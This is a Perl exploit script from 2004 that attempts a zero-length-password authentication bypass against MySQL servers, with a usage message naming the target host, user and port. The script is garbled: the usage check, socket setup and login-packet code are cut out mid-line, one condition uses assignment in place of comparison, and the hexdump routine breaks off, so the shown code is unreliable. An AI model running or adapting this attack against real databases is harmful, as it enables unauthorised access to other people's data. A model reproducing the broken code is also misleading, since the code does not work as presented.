#!/usr/bin/perl
#
# The script connects to MySQL and attempts to log in using a zero-length password
# Based on the vuln found by NGSSecurity
#
# The following Perl script can be used to test your version of MySQL. It will display 
# the login packet sent to the server and it's reply.
# 
# Exploit copyright (c) 2004 by Eli Kara, Beyond Security
# elik beyondsecurity com
#
use strict;
use IO::Socket::INET;

usage() unless ((@ARGV >= 1) || (@ARGV new(proto=>'tcp', PeerAddr=>$host, PeerPort=>$port);
$socket or die "Cannot connect to host!\n";

# receive greeting
my $reply;
recv($socket, $reply, 1024, 0);
if (length($reply) = 4)
{
 print "Response insufficent\n";
}

#if ($reply eq $login_ok)
if ($list_bytes[4] == 0 || $list_bytes[4] == 254)
{
 print "Received OK reply, authentication successful!!\n";
}
else
{
 print "Authentication failed!\n";
}

# close
close($socket);


sub usage
{
    # print usage information
    print "\nUsage: mysql_auth_bypass_zeropass.pl   [port]\n
 - The DB username to authenticate as
 - The host to connect to
[port] - The TCP port which MySQL is listening on (optional, default is 3306)\n\n";
    exit(1);
}


###
# do a hexdump of a string (assuming it's binary)
###
sub HexDump
{
 my $buffer = $_[0];

 # unpack it into chars
 my @up = unpack("C*", $buffer);
 my $pos=0;

 # calculate matrix sizes
 my $rows = int(@up/16);
 my $leftover = int(@up%16);

 for( my $row=0; $row